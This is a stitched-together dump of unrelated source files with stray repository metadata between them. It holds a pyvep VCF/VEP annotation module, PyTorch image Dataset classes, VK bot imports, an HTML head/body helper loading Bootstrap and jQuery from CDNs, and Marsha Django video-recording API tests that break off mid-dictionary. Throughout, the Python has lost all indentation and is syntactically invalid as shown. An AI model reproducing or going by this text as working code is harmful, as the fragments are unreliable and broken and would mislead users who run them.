if not ann:
return '.'
ann = ann.split('|')
ann = sep.join([ann[i] for i in _targets])
return ann
s = vf.df.apply(func, axis=1)
if as_series:
return s
new_vf = vf.copy()
new_vf.df.INFO = s
return new_vf
def to_frame(vf, as_zero=False):
"""
Create a DataFrame containing analysis-ready VEP annotation data.
Parameters
----------
vf : VcfFrame
VcfFrame object.
as_zero : bool, default: False
If True, missing values will be converted to zeros instead of ``NaN``.
Returns
-------
pandas.DataFrame
DataFrame containing VEP annotation data.
"""
f = lambda r: pd.Series(row_firstann(r).split('|'))
df = vf.df.apply(f, axis=1)
if as_zero:
df = df.replace('', 0)
else:
df = df.replace('', np.nan)
df.columns = annot_names(vf)
d = {}
for col in df.columns:
if col in DATA_TYPES:
d[col] = DATA_TYPES[col]
df = df.astype(d)
return df
def pick_result(vf, mode='mostsevere'):
"""Return a new VcfFrame after picking one result per row.
Parameters
----------
vf : VcfFrame
VcfFrame object.
mode : {'mostsevere', 'firstann'}, default: 'mostsevere'
Selection mode:
- mostsevere: use ``row_mostsevere`` method
- firstann: use ``row_firstann`` method
Returns
-------
VcfFrame
New VcfFrame.
Examples
--------
>>> meta = [
... '##fileformat=VCFv4.1',
... '##VEP="v104" time="2021-05-20 10:50:12" cache="/net/isilonP/public/ro/ensweb-data/latest/tools/grch37/e104/vep/cache/homo_sapiens/104_GRCh37" db="homo_sapiens_core_104_37@hh-mysql-ens-grch37-web" 1000genomes="phase3" COSMIC="92" ClinVar="202012" HGMD-PUBLIC="20204" assembly="GRCh37.p13" dbSNP="154" gencode="GENCODE 19" genebuild="2011-04" gnomAD="r2.1" polyphen="2.2.2" regbuild="1.0" sift="sift5.2.2"',
... '##INFO=<ID=CSQ,Number=.,Type=String,Description="Consequence annotations from Ensembl VEP. Format: Allele|Consequence|IMPACT|SYMBOL|Gene|Feature_type|Feature|BIOTYPE|EXON|INTRON|HGVSc|HGVSp|cDNA_position|CDS_position|Protein_position|Amino_acids|Codons|Existing_variation|DISTANCE|STRAND|FLAGS|SYMBOL_SOURCE|HGNC_ID|MANE_SELECT|MANE_PLUS_CLINICAL|TSL|APPRIS|SIFT|PolyPhen|AF|CLIN_SIG|SOMATIC|PHENO|PUBMED|MOTIF_NAME|MOTIF_POS|HIGH_INF_POS|MOTIF_SCORE_CHANGE|TRANSCRIPTION_FACTORS">'
... ]
>>> data = {
... 'CHROM': ['chr1', 'chr1', 'chr2', 'chr2'],
... 'POS': [100, 101, 200, 201],
... 'ID': ['.', '.', '.', '.'],
... 'REF': ['G', 'C', 'G', 'CCCA'],
... 'ALT': ['C', 'T', 'A', 'C'],
... 'QUAL': ['.', '.', '.', '.'],
... 'FILTER': ['.', '.', '.', '.'],
... 'INFO': [
... 'CSQ=C|downstream_gene_variant|MODIFIER|ZBTB17|ENSG00000116809|Transcript|ENST00000375733.2|protein_coding|||||||||||4617|-1||HGNC|12936||||||||||||||||,C|downstream_gene_variant|MODIFIER|ZBTB17|ENSG00000116809|Transcript|ENST00000375743.4|protein_coding|||||||||||4615|-1||HGNC|12936||||||||||||||||,C|missense_variant|MODERATE|SPEN|ENSG00000065526|Transcript|ENST00000375759.3|protein_coding|12/15||||10322|10118|3373|Q/P|cAg/cCg|||1||HGNC|17575|||||tolerated_low_confidence(0.08)|possibly_damaging(0.718)||||||||||,C|downstream_gene_variant|MODIFIER|ZBTB17|ENSG00000116809|Transcript|ENST00000440560.1|protein_coding|||||||||||4615|-1|cds_start_NF|HGNC|12936||||||||||||||||,C|downstream_gene_variant|MODIFIER|ZBTB17|ENSG00000116809|Transcript|ENST00000462525.1|processed_transcript|||||||||||4615|-1||HGNC|12936||||||||||||||||,C|upstream_gene_variant|MODIFIER|SPEN|ENSG00000065526|Transcript|ENST00000487496.1|processed_transcript|||||||||||1329|1||HGNC|17575||||||||||||||||,C|downstream_gene_variant|MODIFIER|ZBTB17|ENSG00000116809|Transcript|ENST00000537142.1|protein_coding|||||||||||4617|-1||HGNC|12936||||||||||||||||,C|regulatory_region_variant|MODIFIER|||RegulatoryFeature|ENSR00000922256|promoter_flanking_region|||||||||||||||||||||||||||||||',
... 'CSQ=T|downstream_gene_variant|MODIFIER|CSDE1|ENSG00000009307|Transcript|ENST00000261443.5|protein_coding||||||||||COSV99795232|3453|-1||HGNC|29905|||||||||1|1||||||,T|downstream_gene_variant|MODIFIER|CSDE1|ENSG00000009307|Transcript|ENST00000339438.6|protein_coding||||||||||COSV99795232|3071|-1||HGNC|29905|||||||||1|1||||||,T|downstream_gene_variant|MODIFIER|CSDE1|ENSG00000009307|Transcript|ENST00000358528.4|protein_coding||||||||||COSV99795232|3075|-1||HGNC|29905|||||||||1|1||||||,T|downstream_gene_variant|MODIFIER|CSDE1|ENSG00000009307|Transcript|ENST00000369530.1|protein_coding||||||||||COSV99795232|3470|-1||HGNC|29905|||||||||1|1||||||,T|missense_variant|MODERATE|NRAS|ENSG00000213281|Transcript|ENST00000369535.4|protein_coding|3/7||||502|248|83|A/D|gCc/gAc|COSV99795232||-1||HGNC|7989|||||deleterious(0.02)|probably_damaging(0.946)|||1|1||||||,T|downstream_gene_variant|MODIFIER|CSDE1|ENSG00000009307|Transcript|ENST00000438362.2|protein_coding||||||||||COSV99795232|3074|-1||HGNC|29905|||||||||1|1||||||,T|downstream_gene_variant|MODIFIER|CSDE1|ENSG00000009307|Transcript|ENST00000483407.1|processed_transcript||||||||||COSV99795232|3960|-1||HGNC|29905|||||||||1|1||||||,T|downstream_gene_variant|MODIFIER|CSDE1|ENSG00000009307|Transcript|ENST00000530886.1|protein_coding||||||||||COSV99795232|3463|-1||HGNC|29905|||||||||1|1||||||,T|downstream_gene_variant|MODIFIER|CSDE1|ENSG00000009307|Transcript|ENST00000534699.1|protein_coding||||||||||COSV99795232|4115|-1||HGNC|29905|||||||||1|1||||||',
... 'CSQ=A|missense_variant|MODERATE|NTRK1|ENSG00000198400|Transcript|ENST00000358660.3|protein_coding|10/16||||1296|1255|419|A/T|Gcc/Acc|COSV62328771||1||HGNC|8031|||||deleterious(0.01)|probably_damaging(0.999)|||1|1||||||,A|missense_variant|MODERATE|NTRK1|ENSG00000198400|Transcript|ENST00000368196.3|protein_coding|10/16||||1375|1255|419|A/T|Gcc/Acc|COSV62328771||1||HGNC|8031|||||deleterious(0.01)|possibly_damaging(0.894)|||1|1||||||,A|missense_variant|MODERATE|NTRK1|ENSG00000198400|Transcript|ENST00000392302.2|protein_coding|11/17||||1339|1165|389|A/T|Gcc/Acc|COSV62328771||1||HGNC|8031|||||deleterious(0.01)|probably_damaging(0.983)|||1|1||||||,A|downstream_gene_variant|MODIFIER|NTRK1|ENSG00000198400|Transcript|ENST00000489021.2|processed_transcript||||||||||COSV62328771|1037|1||HGNC|8031|||||||||1|1||||||,A|stop_gained&NMD_transcript_variant|HIGH|NTRK1|ENSG00000198400|Transcript|ENST00000497019.2|nonsense_mediated_decay|10/16||||1183|1032|344|W/*|tgG/tgA|COSV62328771||1||HGNC|8031|||||||||1|1||||||,A|missense_variant|MODERATE|NTRK1|ENSG00000198400|Transcript|ENST00000524377.1|protein_coding|11/17||||1314|1273|425|A/T|Gcc/Acc|COSV62328771||1||HGNC|8031|||||deleterious(0.01)|probably_damaging(0.996)|||1|1||||||,A|non_coding_transcript_exon_variant|MODIFIER|NTRK1|ENSG00000198400|Transcript|ENST00000530298.1|retained_intron|12/17||||1313|||||COSV62328771||1||HGNC|8031|||||||||1|1||||||,A|non_coding_transcript_exon_variant|MODIFIER|NTRK1|ENSG00000198400|Transcript|ENST00000534682.1|retained_intron|2/4||||496|||||COSV62328771||1||HGNC|8031|||||||||1|1||||||,A|regulatory_region_variant|MODIFIER|||RegulatoryFeature|ENSR00001787924|open_chromatin_region||||||||||COSV62328771||||||||||||||1|1||||||',
... 'CSQ=-|upstream_gene_variant|MODIFIER|LRRC56|ENSG00000161328|Transcript|ENST00000270115.7|protein_coding||||||||||rs1164486792|3230|1||HGNC|25430||||||||||1||||||,-|inframe_deletion|MODERATE|HRAS|ENSG00000174775|Transcript|ENST00000311189.7|protein_coding|2/6||||198-200|26-28|9-10|VG/G|gTGGgc/ggc|rs1164486792||-1||HGNC|5173||||||||||1||||||,-|inframe_deletion|MODERATE|HRAS|ENSG00000174775|Transcript|ENST00000397594.1|protein_coding|1/5||||79-81|26-28|9-10|VG/G|gTGGgc/ggc|rs1164486792||-1||HGNC|5173||||||||||1||||||,-|inframe_deletion|MODERATE|HRAS|ENSG00000174775|Transcript|ENST00000397596.2|protein_coding|2/5||||162-164|26-28|9-10|VG/G|gTGGgc/ggc|rs1164486792||-1||HGNC|5173||||||||||1||||||,-|inframe_deletion|MODERATE|HRAS|ENSG00000174775|Transcript|ENST00000417302.1|protein_coding|2/6||||214-216|26-28|9-10|VG/G|gTGGgc/ggc|rs1164486792||-1||HGNC|5173||||||||||1||||||,-|inframe_deletion|MODERATE|HRAS|ENSG00000174775|Transcript|ENST00000451590.1|protein_coding|2/5||||214-216|26-28|9-10|VG/G|gTGGgc/ggc|rs1164486792||-1||HGNC|5173||||||||||1||||||,-|upstream_gene_variant|MODIFIER|HRAS|ENSG00000174775|Transcript|ENST00000462734.1|processed_transcript||||||||||rs1164486792|700|-1||HGNC|5173||||||||||1||||||,-|non_coding_transcript_exon_variant|MODIFIER|HRAS|ENSG00000174775|Transcript|ENST00000468682.2|processed_transcript|2/3||||514-516|||||rs1164486792||-1||HGNC|5173||||||||||1||||||,-|upstream_gene_variant|MODIFIER|HRAS|ENSG00000174775|Transcript|ENST00000478324.1|processed_transcript||||||||||rs1164486792|683|-1||HGNC|5173||||||||||1||||||,-|upstream_gene_variant|MODIFIER|HRAS|ENSG00000174775|Transcript|ENST00000479482.1|processed_transcript||||||||||rs1164486792|319|-1||HGNC|5173||||||||||1||||||,-|non_coding_transcript_exon_variant|MODIFIER|HRAS|ENSG00000174775|Transcript|ENST00000482021.1|processed_transcript|2/2||||149-151|||||rs1164486792||-1||HGNC|5173||||||||||1||||||,-|inframe_deletion&NMD_transcript_variant|MODERATE|HRAS|ENSG00000174775|Transcript|ENST00000493230.1|nonsense_mediated_decay|2/7||||202-204|26-28|9-10|VG/G|gTGGgc/ggc|rs1164486792||-1||HGNC|5173||||||||||1||||||,-|downstream_gene_variant|MODIFIER|RP13-46H24.1|ENSG00000254739|Transcript|ENST00000526431.1|antisense||||||||||rs1164486792|4636|1||Clone_based_vega_gene|||||||||||1||||||,-|regulatory_region_variant|MODIFIER|||RegulatoryFeature|ENSR00000035647|promoter||||||||||rs1164486792|||||||||||||||1||||||'
... ],
... 'FORMAT': ['GT', 'GT', 'GT', 'GT'],
... 'Steven': ['0/1', '0/1', '0/1', '0/1'],
... }
>>> vf = pyvcf.VcfFrame.from_dict(meta, data)
>>> vf1 = pyvep.pick_result(vf, mode='mostsevere')
>>> vf2 = pyvep.pick_result(vf, mode='firstann')
>>> vf1.df.INFO
0 CSQ=C|missense_variant|MODERATE|SPEN|ENSG00000...
1 CSQ=T|missense_variant|MODERATE|NRAS|ENSG00000...
2 CSQ=A|stop_gained&NMD_transcript_variant|HIGH|...
3 CSQ=-|inframe_deletion|MODERATE|HRAS|ENSG00000...
Name: INFO, dtype: object
>>> vf2.df.INFO
0 CSQ=C|downstream_gene_variant|MODIFIER|ZBTB17|...
1 CSQ=T|downstream_gene_variant|MODIFIER|CSDE1|E...
2 CSQ=A|missense_variant|MODERATE|NTRK1|ENSG0000...
3 CSQ=-|upstream_gene_variant|MODIFIER|LRRC56|EN...
Name: INFO, dtype: object
"""
funcs = {'mostsevere': row_mostsevere, 'firstann': row_firstann}
new_vf = vf.copy()
one_row = lambda r: pyvcf.row_updateinfo(r, 'CSQ', funcs[mode](r))
new_vf.df.INFO = vf.df.apply(one_row, axis=1)
return new_vf
def annot_names(vf):
"""Return the list of avaialble consequence annotations in the VcfFrame.
Parameters
----------
vf : VcfFrame
VcfFrame.
Returns
-------
list
List of consequence annotations.
"""
l = []
for i, line in enumerate(vf.meta):
if 'ID=CSQ' in line:
l = re.search(r'Format: (.*?)">', vf.meta[i]).group(1).split('|')
return l
def filter_query(vf, expr, opposite=None, as_index=False, as_zero=False):
"""
Select rows that satisfy the query expression.
This method essentially wraps the :meth:`pandas.DataFrame.query` method.
Parameters
----------
expr : str
The query string to evaluate.
opposite : bool, default: False
If True, return rows that don't meet the said criteria.
as_index : bool, default: False
If True, return boolean index array instead of VcfFrame.
as_zero : bool, default: False
If True, missing values will be converted to zeros instead of ``NaN``.
Returns
-------
VcfFrame or pandas.Series
Filtered VcfFrame or boolean index array.
Examples
--------
>>> from fuc import common, pyvcf, pyvep
>>> common.load_dataset('tcga-laml')
>>> fn = '~/fuc-data/tcga-laml/tcga_laml_vep.vcf'
>>> vf = pyvcf.VcfFrame.from_file(fn)
>>> filtered_vf = pyvep.filter_query(vf, "SYMBOL == 'TP53'")
>>> filtered_vf = pyvep.filter_query(vf, "SYMBOL != 'TP53'")
>>> filtered_vf = pyvep.filter_query(vf, "SYMBOL != 'TP53'", opposite=True)
>>> filtered_vf = pyvep.filter_query(vf, "Consequence in ['splice_donor_variant', 'stop_gained']")
>>> filtered_vf = pyvep.filter_query(vf, "(SYMBOL == 'TP53') and (Consequence.str.contains('stop_gained'))")
>>> filtered_vf = pyvep.filter_query(vf, "gnomAD_AF < 0.001")
>>> filtered_vf = pyvep.filter_query(vf, "gnomAD_AF < 0.001", as_zero=True)
>>> filtered_vf = pyvep.filter_query(vf, "(IMPACT == 'HIGH') or (Consequence.str.contains('missense_variant') and (PolyPhen.str.contains('damaging') or SIFT.str.contains('deleterious')))")
"""
df = to_frame(vf, as_zero=as_zero)
i = vf.df.index.isin(df.query(expr).index)
if opposite:
i = ~i
if as_index:
return i
return vf.__class__(vf.copy_meta(), vf.df[i])
| 82.522989
| 2,433
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|
[
"MIT"
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import os
import numpy as np
from torch.utils.data import Dataset
from torchvision import transforms, io
import sys
import random
import albumentations
def rdir(rootdir):
for folder, _, files in os.walk(rootdir):
for filename in files:
if filename.endswith('.png') or filename.endswith('.jpg'):
yield os.path.join(folder, filename)
class CustomTrain(Dataset):
# CelebAHQ [0] + FFHQ [1]
def __init__(self, size, dir, keys=None, crop_size=None, coord=False):
self.transform = transforms.Compose([transforms.Resize(size)])
self.data = sorted(rdir(dir))
random.seed(0)
random.shuffle(self.data)
self.data = self.data[:-100]
self.coord = coord
if crop_size is not None:
self.cropper = albumentations.RandomCrop(height=crop_size,width=crop_size)
if self.coord:
self.cropper = albumentations.Compose([self.cropper],
additional_targets={"coord": "image"})
def __len__(self):
return len(self.data)
def __getitem__(self, i):
ex = {}
ex["image"] = io.read_image(self.data[i]).squeeze(0)
if hasattr(self, "cropper"):
if not self.coord:
out = self.cropper(image=ex["image"])
ex["image"] = out["image"]
else:
h,w,_ = ex["image"].shape
coord = np.arange(h*w).reshape(h,w,1)/(h*w)
out = self.cropper(image=ex["image"], coord=coord)
ex["image"] = out["image"]
ex["coord"] = out["coord"]
ex["class"] = 0
ex["image"] = ex["image"].unsqueeze(-1).repeat(1, 1, 3)
return ex
class CustomVal(Dataset):
# CelebAHQ [0] + FFHQ [1]
def __init__(self, size, dir, keys=None, crop_size=None, coord=False):
self.transform = transforms.Compose([transforms.Resize(size)])
self.data = sorted(rdir(dir))
random.seed(0)
random.shuffle(self.data)
self.data = self.data[-100:]
self.coord = coord
if crop_size is not None:
self.cropper = albumentations.RandomCrop(height=crop_size,width=crop_size)
if self.coord:
self.cropper = albumentations.Compose([self.cropper],
additional_targets={"coord": "image"})
def __len__(self):
return len(self.data)
def __getitem__(self, i):
ex = {}
ex["image"] = io.read_image(self.data[i]).squeeze(0)
if hasattr(self, "cropper"):
if not self.coord:
out = self.cropper(image=ex["image"])
ex["image"] = out["image"]
else:
h,w,_ = ex["image"].shape
coord = np.arange(h*w).reshape(h,w,1)/(h*w)
out = self.cropper(image=ex["image"], coord=coord)
ex["image"] = out["image"]
ex["coord"] = out["coord"]
ex["class"] = 0
ex["image"] = ex["image"].unsqueeze(-1).repeat(1, 1, 3)
return ex
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| 0.824455
| 0.824455
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bot/platforms/vk/commands/notes/__init__.py
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AiratK/kaishnik-bot
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|
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|
2021-06-07T20:18:08.000Z
|
from bot.platforms.vk.commands.notes import menu
from bot.platforms.vk.commands.notes import newnote
from bot.platforms.vk.commands.notes import oldnote
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bootstrap.py
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|
2020-10-21T08:21:41.000Z
|
import ht
material
def material_head():
return ht.meta(charset='utf-8')+ht.meta(name='viewport',content='width=device-width, initial-scale=1, shrink-to-fit=no')+ht.link(rel='stylesheet',href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700|Material+Icons", crossorigin="anonymous")+ht.link(rel='stylesheet',href="https://unpkg.com/bootstrap-material-design@4.1.1/dist/css/bootstrap-material-design.min.css", crossorigin="anonymous")
def setup_head():
return ht.meta(charset='utf-8')+ht.link(rel='stylesheet',href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css", crossorigin="anonymous")
def material_body():
return ht.script('',src="https://code.jquery.com/jquery-3.5.1.slim.min.js", crossorigin="anonymous")+ht.script('',src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js", crossorigin="anonymous")+ht.script('',src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js", crossorigin="anonymous")+ht.script("$(document).ready(function() { $('body').bootstrapMaterialDesign(); });")
def setup_body():
return ht.script('',src="https://code.jquery.com/jquery-3.5.1.slim.min.js", crossorigin="anonymous")+ht.script('',src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js", crossorigin="anonymous")+ht.script('',src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js", crossorigin="anonymous")
| 129.909091
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| 0.476011
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| 20,409
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py
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Python
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src/backend/marsha/core/tests/test_api_video_recording.py
|
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|
[
"MIT"
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src/backend/marsha/core/tests/test_api_video_recording.py
|
insad-video/marsha
|
1e6a708c74527f50c4aa24d811049492e75f47a0
|
[
"MIT"
] | null | null | null |
src/backend/marsha/core/tests/test_api_video_recording.py
|
insad-video/marsha
|
1e6a708c74527f50c4aa24d811049492e75f47a0
|
[
"MIT"
] | null | null | null |
"""Tests for the Video recording API of the Marsha project."""
from datetime import timedelta
import random
from unittest import mock
from django.test import TestCase, override_settings
from rest_framework_simplejwt.tokens import AccessToken
from ..api import timezone
from ..defaults import JITSI, LIVE_CHOICES, PENDING, RUNNING
from ..factories import UserFactory, VideoFactory
from ..utils.time_utils import to_timestamp
class TestApiVideoRecording(TestCase):
"""Tests for the Video recording API of the Marsha project."""
maxDiff = None
def test_api_video_recording_start_anonymous(self):
"""An anonymous user can not start a video recording."""
video = VideoFactory()
response = self.client.patch(f"/api/videos/{video.id}/start-recording/")
self.assertEqual(response.status_code, 401)
self.assertEqual(
response.json(), {"detail": "Authentication credentials were not provided."}
)
def test_api_video_recording_stop_anonymous(self):
"""An anonymous user can not stop a video recording."""
video = VideoFactory()
response = self.client.patch(f"/api/videos/{video.id}/stop-recording/")
self.assertEqual(response.status_code, 401)
self.assertEqual(
response.json(), {"detail": "Authentication credentials were not provided."}
)
def test_api_video_recording_start_student(self):
"""A student user can not start a video recording."""
video = VideoFactory()
jwt_token = AccessToken()
jwt_token.payload["resource_id"] = str(video.id)
jwt_token.payload["context_id"] = str(video.playlist.lti_id)
jwt_token.payload["consumer_site"] = str(video.playlist.consumer_site.id)
jwt_token.payload["roles"] = ["student"]
jwt_token.payload["permissions"] = {"can_update": False}
response = self.client.patch(
f"/api/videos/{video.id}/start-recording/",
HTTP_AUTHORIZATION=f"Bearer {jwt_token}",
)
self.assertEqual(response.status_code, 403)
self.assertEqual(
response.json(),
{"detail": "You do not have permission to perform this action."},
)
def test_api_video_recording_stop_student(self):
"""A student user can not stop a video recording."""
video = VideoFactory()
jwt_token = AccessToken()
jwt_token.payload["resource_id"] = str(video.id)
jwt_token.payload["context_id"] = str(video.playlist.lti_id)
jwt_token.payload["consumer_site"] = str(video.playlist.consumer_site.id)
jwt_token.payload["roles"] = ["student"]
jwt_token.payload["permissions"] = {"can_update": False}
response = self.client.patch(
f"/api/videos/{video.id}/stop-recording/",
HTTP_AUTHORIZATION=f"Bearer {jwt_token}",
)
self.assertEqual(response.status_code, 403)
self.assertEqual(
response.json(),
{"detail": "You do not have permission to perform this action."},
)
def test_api_video_recording_start_staff_or_user(self):
"""Users authenticated via a session can not start a video recording."""
video = VideoFactory()
for user in [UserFactory(), UserFactory(is_staff=True)]:
self.client.login(username=user.username, password="test")
response = self.client.patch(f"/api/videos/{video.id}/start-recording/")
self.assertEqual(response.status_code, 401)
self.assertEqual(
response.json(),
{"detail": "Authentication credentials were not provided."},
)
def test_api_video_recording_stop_staff_or_user(self):
"""Users authenticated via a session can not stop a video recording."""
video = VideoFactory()
for user in [UserFactory(), UserFactory(is_staff=True)]:
self.client.login(username=user.username, password="test")
response = self.client.patch(f"/api/videos/{video.id}/stop-recording/")
self.assertEqual(response.status_code, 401)
self.assertEqual(
response.json(),
{"detail": "Authentication credentials were not provided."},
)
@override_settings(LIVE_CHAT_ENABLED=True)
@override_settings(XMPP_BOSH_URL="https://xmpp-server.com/http-bind")
@override_settings(XMPP_CONFERENCE_DOMAIN="conference.xmpp-server.com")
@override_settings(XMPP_DOMAIN="conference.xmpp-server.com")
@override_settings(XMPP_JWT_SHARED_SECRET="xmpp_shared_secret")
def test_api_video_recording_start_instructor(self):
"""An instructor can start a video recording."""
video = VideoFactory(
allow_recording=True,
upload_state=PENDING,
live_state=RUNNING,
live_type=JITSI,
live_info={
"medialive": {
"input": {
"id": "medialive_input_1",
"endpoints": [
"https://live_endpoint1",
"https://live_endpoint2",
],
},
"channel": {"id": "medialive_channel_1"},
},
"mediapackage": {
"id": "mediapackage_channel_1",
"endpoints": {
"hls": {
"id": "endpoint1",
"url": "https://channel_endpoint1/live.m3u8",
},
},
},
},
)
self.assertEqual(video.recording_slices, [])
jwt_token = AccessToken()
jwt_token.payload["resource_id"] = str(video.id)
jwt_token.payload["roles"] = [random.choice(["instructor", "administrator"])]
jwt_token.payload["permissions"] = {"can_update": True}
jwt_token.payload["user"] = {"id": "56255f3807599c377bf0e5bf072359fd"}
now = timezone.now()
with mock.patch.object(timezone, "now", return_value=now), mock.patch(
"marsha.core.serializers.xmpp_utils.generate_jwt"
) as mock_jwt_encode, mock.patch(
"marsha.websocket.utils.channel_layers_utils.dispatch_video_to_groups"
) as mock_dispatch_video_to_groups:
mock_jwt_encode.return_value = "xmpp_jwt"
response = self.client.patch(
f"/api/videos/{video.id}/start-recording/",
HTTP_AUTHORIZATION=f"Bearer {jwt_token}",
)
video.refresh_from_db()
mock_dispatch_video_to_groups.assert_called_once_with(video)
self.assertEqual(response.status_code, 200)
content = response.json()
self.assertEqual(
content,
{
"active_shared_live_media": None,
"active_shared_live_media_page": None,
"allow_recording": True,
"description": video.description,
"estimated_duration": None,
"has_chat": True,
"has_live_media": True,
"id": str(video.id),
"title": video.title,
"active_stamp": None,
"is_public": False,
"is_ready_to_show": True,
"is_recording": True,
"is_scheduled": False,
"join_mode": "approval",
"show_download": True,
"starting_at": None,
"upload_state": "pending",
"thumbnail": None,
"timed_text_tracks": [],
"urls": {
"manifests": {
"hls": "https://channel_endpoint1/live.m3u8",
},
"mp4": {},
"thumbnails": {},
},
"should_use_subtitle_as_transcript": False,
"has_transcript": False,
"playlist": {
"id": str(video.playlist.id),
"title": str(video.playlist.title),
"lti_id": str(video.playlist.lti_id),
},
"recording_time": 0,
"shared_live_medias": [],
"live_state": "running",
"live_info": {
"jitsi": {
"config_overwrite": {},
"domain": "meet.jit.si",
"external_api_url": "https://meet.jit.si/external_api.js",
"interface_config_overwrite": {},
"room_name": str(video.pk),
},
"medialive": {
"input": {
"endpoints": [
"https://live_endpoint1",
"https://live_endpoint2",
],
}
},
},
"live_type": JITSI,
"participants_asking_to_join": [],
"participants_in_discussion": [],
"xmpp": {
"bosh_url": "https://xmpp-server.com/http-bind?token=xmpp_jwt",
"conference_url": f"{video.id}@conference.xmpp-server.com",
"converse_persistent_store": "localStorage",
"jid": "conference.xmpp-server.com",
"websocket_url": None,
},
},
)
@override_settings(LIVE_CHAT_ENABLED=True)
@override_settings(XMPP_BOSH_URL="https://xmpp-server.com/http-bind")
@override_settings(XMPP_CONFERENCE_DOMAIN="conference.xmpp-server.com")
@override_settings(XMPP_DOMAIN="conference.xmpp-server.com")
@override_settings(XMPP_JWT_SHARED_SECRET="xmpp_shared_secret")
def test_api_video_recording_start_not_allowed(self):
"""An instructor cannot start a recording on a not allowed video."""
video = VideoFactory(
allow_recording=False,
upload_state=PENDING,
live_state=RUNNING,
live_type=JITSI,
live_info={
"medialive": {
"input": {
"id": "medialive_input_1",
"endpoints": [
"https://live_endpoint1",
"https://live_endpoint2",
],
},
"channel": {"id": "medialive_channel_1"},
},
"mediapackage": {
"id": "mediapackage_channel_1",
"endpoints": {
"hls": {
"id": "endpoint1",
"url": "https://channel_endpoint1/live.m3u8",
},
},
},
},
)
self.assertEqual(video.recording_slices, [])
jwt_token = AccessToken()
jwt_token.payload["resource_id"] = str(video.id)
jwt_token.payload["roles"] = [random.choice(["instructor", "administrator"])]
jwt_token.payload["permissions"] = {"can_update": True}
jwt_token.payload["user"] = {"id": "56255f3807599c377bf0e5bf072359fd"}
now = timezone.now()
with mock.patch.object(timezone, "now", return_value=now), mock.patch(
"marsha.core.serializers.xmpp_utils.generate_jwt"
) as mock_jwt_encode, mock.patch(
"marsha.websocket.utils.channel_layers_utils.dispatch_video_to_groups"
) as mock_dispatch_video_to_groups:
mock_jwt_encode.return_value = "xmpp_jwt"
response = self.client.patch(
f"/api/videos/{video.id}/start-recording/",
HTTP_AUTHORIZATION=f"Bearer {jwt_token}",
)
video.refresh_from_db()
mock_dispatch_video_to_groups.assert_not_called()
self.assertEqual(response.status_code, 400)
content = response.json()
self.assertEqual(
content,
{"detail": "Recording is not allowed for this video."},
)
@override_settings(LIVE_CHAT_ENABLED=True)
@override_settings(XMPP_BOSH_URL="https://xmpp-server.com/http-bind")
@override_settings(XMPP_CONFERENCE_DOMAIN="conference.xmpp-server.com")
@override_settings(XMPP_DOMAIN="conference.xmpp-server.com")
@override_settings(XMPP_JWT_SHARED_SECRET="xmpp_shared_secret")
def test_api_video_recording_start_live_not_running(self):
"""An instructor cannot start a recording on a not running live."""
video = VideoFactory(
allow_recording=True,
upload_state=PENDING,
live_state=random.choice([s[0] for s in LIVE_CHOICES if s[0] != "running"]),
live_type=JITSI,
live_info={
"medialive": {
"input": {
"id": "medialive_input_1",
"endpoints": [
"https://live_endpoint1",
"https://live_endpoint2",
],
},
"channel": {"id": "medialive_channel_1"},
},
"mediapackage": {
"id": "mediapackage_channel_1",
"endpoints": {
"hls": {
"id": "endpoint1",
"url": "https://channel_endpoint1/live.m3u8",
},
},
},
},
)
self.assertEqual(video.recording_slices, [])
jwt_token = AccessToken()
jwt_token.payload["resource_id"] = str(video.id)
jwt_token.payload["roles"] = [random.choice(["instructor", "administrator"])]
jwt_token.payload["permissions"] = {"can_update": True}
jwt_token.payload["user"] = {"id": "56255f3807599c377bf0e5bf072359fd"}
now = timezone.now()
with mock.patch.object(timezone, "now", return_value=now), mock.patch(
"marsha.core.serializers.xmpp_utils.generate_jwt"
) as mock_jwt_encode, mock.patch(
"marsha.websocket.utils.channel_layers_utils.dispatch_video_to_groups"
) as mock_dispatch_video_to_groups:
mock_jwt_encode.return_value = "xmpp_jwt"
response = self.client.patch(
f"/api/videos/{video.id}/start-recording/",
HTTP_AUTHORIZATION=f"Bearer {jwt_token}",
)
video.refresh_from_db()
mock_dispatch_video_to_groups.assert_not_called()
self.assertEqual(response.status_code, 400)
content = response.json()
self.assertEqual(
content,
{"detail": "Live is not running."},
)
@override_settings(LIVE_CHAT_ENABLED=True)
@override_settings(XMPP_BOSH_URL="https://xmpp-server.com/http-bind")
@override_settings(XMPP_CONFERENCE_DOMAIN="conference.xmpp-server.com")
@override_settings(XMPP_DOMAIN="conference.xmpp-server.com")
@override_settings(XMPP_JWT_SHARED_SECRET="xmpp_shared_secret")
def test_api_video_recording_stop_instructor_started_slice(self):
"""An instructor can stop a video recording."""
start = timezone.now()
stop = start + timedelta(minutes=10)
video = VideoFactory(
recording_slices=[{"start": to_timestamp(start)}],
upload_state=PENDING,
live_state=RUNNING,
live_type=JITSI,
live_info={
"medialive": {
"input": {
"id": "medialive_input_1",
"endpoints": [
"https://live_endpoint1",
"https://live_endpoint2",
],
},
"channel": {"id": "medialive_channel_1"},
},
"mediapackage": {
"id": "mediapackage_channel_1",
"endpoints": {
"hls": {
"id": "endpoint1",
"url": "https://channel_endpoint1/live.m3u8",
},
},
},
},
)
self.assertEqual(video.recording_slices, [{"start": to_timestamp(start)}])
jwt_token = AccessToken()
jwt_token.payload["resource_id"] = str(video.id)
jwt_token.payload["roles"] = [random.choice(["instructor", "administrator"])]
jwt_token.payload["permissions"] = {"can_update": True}
jwt_token.payload["user"] = {"id": "56255f3807599c377bf0e5bf072359fd"}
with mock.patch.object(timezone, "now", return_value=stop), mock.patch(
"marsha.core.serializers.xmpp_utils.generate_jwt"
) as mock_jwt_encode, mock.patch(
"marsha.websocket.utils.channel_layers_utils.dispatch_video_to_groups"
) as mock_dispatch_video_to_groups:
mock_jwt_encode.return_value = "xmpp_jwt"
response = self.client.patch(
f"/api/videos/{video.id}/stop-recording/",
HTTP_AUTHORIZATION=f"Bearer {jwt_token}",
)
self.assertEqual(response.status_code, 200)
video.refresh_from_db()
mock_dispatch_video_to_groups.assert_called_once_with(video)
content = response.json()
self.assertEqual(
content,
{
"active_shared_live_media": None,
"active_shared_live_media_page": None,
